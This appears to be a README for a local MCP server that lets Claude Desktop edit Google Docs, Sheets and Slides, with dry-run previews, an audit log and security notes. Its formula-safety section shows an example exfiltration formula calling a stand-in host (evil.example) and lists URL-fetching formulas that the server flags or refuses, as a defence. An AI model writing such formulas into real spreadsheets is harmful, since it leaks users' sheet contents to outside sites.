gworkspace-docs-sheets-slides-mcp

One local MCP server for Google's Workspace Editors: Docs, Sheets, and Slides, across several Google accounts. It's a single process and a single mcpServers entry. Internally each product has its own module (src/docs.js, src/sheets.js, src/slides.js), and src/server.js registers all of their tools.

Accounts come from the shared google-mcp-accounts login, the same one the Gmail, Calendar, and Drive servers use.

Scopes

Each product checks only its own scope, so an account that granted Sheets but not Slides can still use the Sheets tools. list_accounts shows which products each account can use.

Export caveat. Under drive.file, Drive can export only decks these servers created or opened (for example, ones made with create_presentation). A deck you made in the browser can still be read and edited through the Slides API. To export it, opt that account into drive.readonly once: node auth.js <alias> --with-drive-readonly in google-mcp-accounts. The error message points this out when it happens. drive.readonly is never requested by default.

Tools

Judgment calls: which edits get a dry run

The rule: anything that changes or removes content someone already wrote gets a preview first. Anything that only adds runs immediately, but it's audit-logged and never auto-retried.

• replace_text and edit_slide_text get a dry run. They overwrite existing words in a doc or deck that collaborators may have open, and a too-broad find can rewrite far more than intended. Both previews return a revision_id. Passing it back as expected_revision_id on the confirm makes Google refuse the write if anyone edited the file since the preview, so you never apply a reviewed change to a document that has since moved on.
• update_values gets a dry run. It overwrites cells. The preview reads exactly the block that will be written (computed from the range's top-left cell and the size of values, so the preview and the write can't disagree). It lists every changed cell, and counts how many non-empty cells get overwritten.
• append_text, append_values, add_slide, create_doc, create_spreadsheet, and create_presentation run immediately. They don't touch existing content, they're easy to undo (version history, or delete the row/slide/file), and none of them sends anyone a notification. A new doc, spreadsheet, or deck is private until shared. They still write to the audit log, and none is retried, since a retry after a timeout could add the text, rows, or slide twice, or create a second file.

Formula safety in Sheets

• update_values and append_values default to RAW input, so =SUM(A1:A3) is stored as text, not run as a formula. Pass value_input_option: "USER_ENTERED" to have values parsed as if typed.
• With USER_ENTERED, formulas that make Google fetch a URL (IMPORTXML, IMPORTHTML, IMPORTDATA, IMPORTFEED, IMPORTRANGE, IMAGE, HYPERLINK) can leak sheet contents to an outside site, e.g. =IMAGE("https://evil.example/?"&A1). update_values flags them in its preview. append_values, which has no preview, refuses them outright.

Audit log

Every edit, append, creation, and dry run (and every failure) is appended to ~/.google-mcp/audit.log, tagged "server": "gworkspace-docs-sheets-slides-mcp", with ids and sizes only. Document text and cell values are never logged.

Setup

1. Set up google-mcp-accounts and connect your accounts. Make sure the Docs, Sheets, Slides, and Drive APIs are enabled on the Cloud project.

2. Install:

   cd gworkspace-docs-sheets-slides-mcp
   npm install
   

   Requires Node.js 20+. This repo depends on google-mcp-accounts as a local folder, "google-mcp-accounts": "file:../google-mcp-accounts". That works only while the two repos are siblings in the same parent folder. If you clone this somewhere they aren't, switch that line to a git dependency pinned to a tag, e.g. "github:<you>/google-mcp-accounts#v1.0.0". The tradeoff: file: picks up shared changes immediately, and a git tag picks them up only when you bump it.

Claude Desktop config

Add this under mcpServers in ~/Library/Application Support/Claude/claude_desktop_config.json (macOS), then fully quit and reopen Claude Desktop:

{
  "mcpServers": {
    "gworkspace-docs-sheets-slides": {
      "command": "node",
      "args": ["/absolute/path/to/gworkspace-docs-sheets-slides-mcp/src/server.js"],
      "env": { "GWORKSPACE_MCP_FILES_DIR": "/Users/you/Downloads/google-mcp-files" }
    }
  }
}

The env line is optional. Exports go to ~/Downloads/gworkspace-mcp by default, and export_presentation can't write anywhere else (paths are checked after resolving ../ and symlinks).

To attach an exported deck to an email, set this to the same path as multi-gmail-mcp's MULTI_GMAIL_MCP_FILES_DIR (and multi-gdrive-mcp's MULTI_GDRIVE_MCP_FILES_DIR). Then Gmail's attach_document can read what export_presentation writes. Only the config changes, no code. See "One files folder for all the servers" in google-mcp-accounts' README.

Input limits

Ids must look like Google file ids (letters, digits, -, _). Text you insert is capped at 100,000 chars, find at 1,000, and slide titles at 1,000. Sheets writes are capped at 10,000 cells per call, with at most 50,000 chars per cell (Google's own per-cell limit). Reads return up to 20,000 cells, and exports up to 10MB (Drive's export limit, checked on the actual bytes).

Security notes

• Untrusted content. Anyone can share a doc, sheet, or deck with you. Doc text, slide text, and titles come back wrapped in <untrusted_document_content> tags, and cell values come with a notice, telling Claude to treat them as data. That helps against prompt injection but doesn't prevent it. The dry runs and Claude Desktop's approval prompts are the real checks.
• Every tool call is wrapped. API errors and validation failures become MCP error results and never crash the server.
• Reads are retried with backoff on 429/5xx. Writes never are.
• This server never writes to ~/.google-mcp/accounts.json. It only reads tokens.

Development

npm test      # node:test - doc text extraction, match previews, A1 ranges, cell diffs, formula checks, slide requests
npm run lint
npm run format